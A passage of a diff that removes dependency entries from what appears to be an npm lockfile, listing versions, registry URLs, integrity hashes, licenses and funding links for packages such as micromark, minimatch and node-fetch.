"https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-autolink-literal": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-2.1.0.tgz", - "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==", - "license": "MIT", - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-sanitize-uri": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-footnote": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-2.1.0.tgz", - "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==", - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-core-commonmark": "^2.0.0", - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-normalize-identifier": "^2.0.0", - "micromark-util-sanitize-uri": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-table": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.1.tgz", - "integrity": "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==", - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-math": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/micromark-extension-math/-/micromark-extension-math-3.1.0.tgz", - "integrity": "sha512-lvEqd+fHjATVs+2v/8kg9i5Q0AP2k85H0WUOwpIVvUML8BapsMvh1XAogmQjOCsLpoKRCVQqEkQBB3NhVBcsOg==", - "license": "MIT", - "dependencies": { - "@types/katex": "^0.16.0", - "devlop": "^1.0.0", - "katex": "^0.16.0", - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-factory-destination": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz", - "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-factory-label": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz", - "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-factory-space": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz", - "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-factory-title": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz", - "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-factory-whitespace": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz", - "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-character": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz", - "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-chunked": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz", - "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/micromark-util-classify-character": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz", - "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-combine-extensions": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz", - "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-chunked": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-decode-numeric-character-reference": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz", - "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/micromark-util-decode-string": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz", - "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "decode-named-character-reference": "^1.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-decode-numeric-character-reference": "^2.0.0", - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/micromark-util-encode": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz", - "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT" - }, - "node_modules/micromark-util-html-tag-name": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz", - "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT" - }, - "node_modules/micromark-util-normalize-identifier": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz", - "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/micromark-util-resolve-all": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz", - "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-sanitize-uri": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz", - "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-encode": "^2.0.0", - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/micromark-util-subtokenize": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.1.0.tgz", - "integrity": "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-util-chunked": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-symbol": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz", - "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT" - }, - "node_modules/micromark-util-types": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.2.tgz", - "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT" - }, - "node_modules/micromatch": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", - "dev": true, - "license": "MIT", - "dependencies": { - "braces": "^3.0.3", - "picomatch": "^2.3.1" - }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/micromatch/node_modules/picomatch": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", - "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/mime-db": { - "version": "1.54.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", - "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", - "license": "MIT", - "dependencies": { - "mime-db": "^1.54.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/mimic-fn": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", - "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/minimatch": { - "version": "10.2.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", - "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", - "license": "BlueOak-1.0.0", - "dependencies": { - "brace-expansion": "^5.0.5" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/minimist": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", - "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/minipass": { - "version": "7.1.3", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", - "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=16 || 14 >=14.17" - } - }, - "node_modules/mitt": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/mitt/-/mitt-3.0.1.tgz", - "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==", - "license": "MIT" - }, - "node_modules/mnemonist": { - "version": "0.40.3", - "resolved": "https://registry.npmjs.org/mnemonist/-/mnemonist-0.40.3.tgz", - "integrity": "sha512-Vjyr90sJ23CKKH/qPAgUKicw/v6pRoamxIEDFOF8uSgFME7DqPRpHgRTejWVjkdGg5dXj0/NyxZHZ9bcjH+2uQ==", - "license": "MIT", - "dependencies": { - "obliterator": "^2.0.4" - } - }, - "node_modules/module-definition": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/module-definition/-/module-definition-6.0.2.tgz", - "integrity": "sha512-SvAU3lB0+Yjbq55yHY3wkRZBOh+fhU1SnIF3IFbTewv6mtAh7yUT8ACHAJ2mGIJ7tCes2QuCL/cl6m0JSZ/ArA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ast-module-types": "^6.0.1", - "node-source-walk": "^7.0.1" - }, - "bin": { - "module-definition": "bin/cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/module-details-from-path": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/module-details-from-path/-/module-details-from-path-1.0.4.tgz", - "integrity": "sha512-EGWKgxALGMgzvxYF1UyGTy0HXX/2vHLkw6+NvDKW2jypWbHpjQuj4UMcqQWXHERJhVGKikolT06G3bcKe4fi7w==", - "license": "MIT" - }, - "node_modules/module-lookup-amd": { - "version": "9.1.3", - "resolved": "https://registry.npmjs.org/module-lookup-amd/-/module-lookup-amd-9.1.3.tgz", - "integrity": "sha512-Jc3XmOaR9FdfMJSK8+vyLgsCkzm8z2L0NS6vrlRWi12DjS7MY7TMNE7E1yj8yXx837xtMDbKSSgcdXnFlJ2YLg==", - "dev": true, - "license": "MIT", - "dependencies": { - "commander": "^12.1.0", - "requirejs": "^2.3.8", - "requirejs-config-file": "^4.0.0" - }, - "bin": { - "lookup-amd": "bin/cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/module-lookup-amd/node_modules/commander": { - "version": "12.1.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", - "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "license": "MIT" - }, - "node_modules/nanoid": { - "version": "3.3.11", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", - "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/negotiator": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz", - "integrity": "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/netmask": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/netmask/-/netmask-2.1.1.tgz", - "integrity": "sha512-eonl3sLUha+S1GzTPxychyhnUzKyeQkZ7jLjKrBagJgPla13F+uQ71HgpFefyHgqrjEbCPkDArxYsjY8/+gLKA==", - "license": "MIT", - "engines": { - "node": ">= 0.4.0" - } - }, - "node_modules/node-addon-api": { - "version": "8.7.0", - "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-8.7.0.tgz", - "integrity": "sha512-9MdFxmkKaOYVTV+XVRG8ArDwwQ77XIgIPyKASB1k3JPq3M8fGQQQE3YpMOrKm6g//Ktx8ivZr8xo1Qmtqub+GA==", - "license": "MIT", - "engines": { - "node": "^18 || ^20 || >= 21" - } - }, - "node_modules/node-domexception": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", - "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", - "deprecated": "Use your platform's native DOMException instead", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/jimmywarting" - }, - { - "type": "github", - "url": "https://paypal.me/jimmywarting" - } - ], - "license": "MIT", - "engines": { - "node": ">=10.5.0" - } - }, - "node_modules/node-fetch": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", - "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", - "license": "MIT", - "dependencies": { - "data-uri-to-buffer": "^4.0.0", - "fetch-blob": "^3.1.4", - "formdata-polyfill": "^4.0.10" - }, - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/node-fetch" - } - }, - "node_modules/node-gyp-build": { - "version": "4.8.4", - "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.8.4.tgz", - "integrity": "sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==", - "license": "MIT", - "bin": { - "node-gyp-build": "bin.js", - "node-gyp-build-optional": "optional.js", - "node-gyp-build-test": "build-test.js" - } - }, - "node_modules/node-pty": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.1.0.tgz", - "integrity": "sha512-20JqtutY6JPXTUnL0ij1uad7Qe1baT46lyolh2sSENDd4sTzKZ4nmAFkeAARDKwmlLjPx6XKRlwRUxwjOy+lUg==", - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "dependencies": { - "node-addon-api": "^7.1.0" - } - }, - "node_modules/node-pty/node_modules/node-addon-api": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", - "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", - "license": "MIT", - "optional": true - }, - "node_modules/node-sarif-builder": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/node-sarif-builder/-/node-sarif-builder-3.4.0.tgz", - "integrity": "sha512-tGnJW6OKRii9u/b2WiUViTJS+h7Apxx17qsMUjsUeNDiMMX5ZFf8F8Fcz7PAQ6omvOxHZtvDTmOYKJQwmfpjeg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/sarif": "^2.1.7", - "fs-extra": "^11.1.1" - }, - "engines": { - "node": ">=20" - } - }, - "node_modules/node-source-walk": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/node-source-walk/-/node-source-walk-7.0.2.tgz", - "integrity": "sha512-71kFFjYaSshDTA8/a2HiTYPLdASWjLJxUyJxGE+ffxU+KhxSBtM9kiLUX+R2yooFdSFKMFpi4n3PFtDy6qXv8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/normalize-package-data": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-6.0.2.tgz", - "integrity": "sha512-V6gygoYb/5EmNI+MEGrWkC+e6+Rr7mTmfHrxDbLzxQogBkgzo76rkok0Am6thgSF7Mv2nLOajAJj5vDJZEFn7g==", - "license": "BSD-2-Clause", - "dependencies": { - "hosted-git-info": "^7.0.0", - "semver": "^7.3.5", - "validate-npm-package-license": "^3.0.4" - }, - "engines": { - "node": "^16.14.0 || >=18.0.0" - } - }, - "node_modules/normalize-package-data/node_modules/hosted-git-info": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-7.0.2.tgz", - "integrity": "sha512-puUZAUKT5m8Zzvs72XWy3HtvVbTWljRE66cP60bxJzAqf2DgICo7lYTY2IHUmLnNpjYvw5bvmoHvPc0QO2a62w==", - "license": "ISC", - "dependencies": { - "lru-cache": "^10.0.1" - }, - "engines": { - "node": "^16.14.0 || >=18.0.0" - } - }, - "node_modules/normalize-package-data/node_modules/lru-cache": { - "version": "10.4.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", - "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", - "license": "ISC" - }, - "node_modules/npm-run-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-6.0.0.tgz", - "integrity": "sha512-9qny7Z9DsQU8Ou39ERsPU4OZQlSTP47ShQzuKZ6PRXpYLtIFgl/DEBYEXKlvcEa+9tHVcK8CF81Y2V72qaZhWA==", - "license": "MIT", - "dependencies": { - "path-key": "^4.0.0", - "unicorn-magic": "^0.3.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/npm-run-path/node_modules/path-key": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-4.0.0.tgz", - "integrity": "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/object-assign": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-hash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", 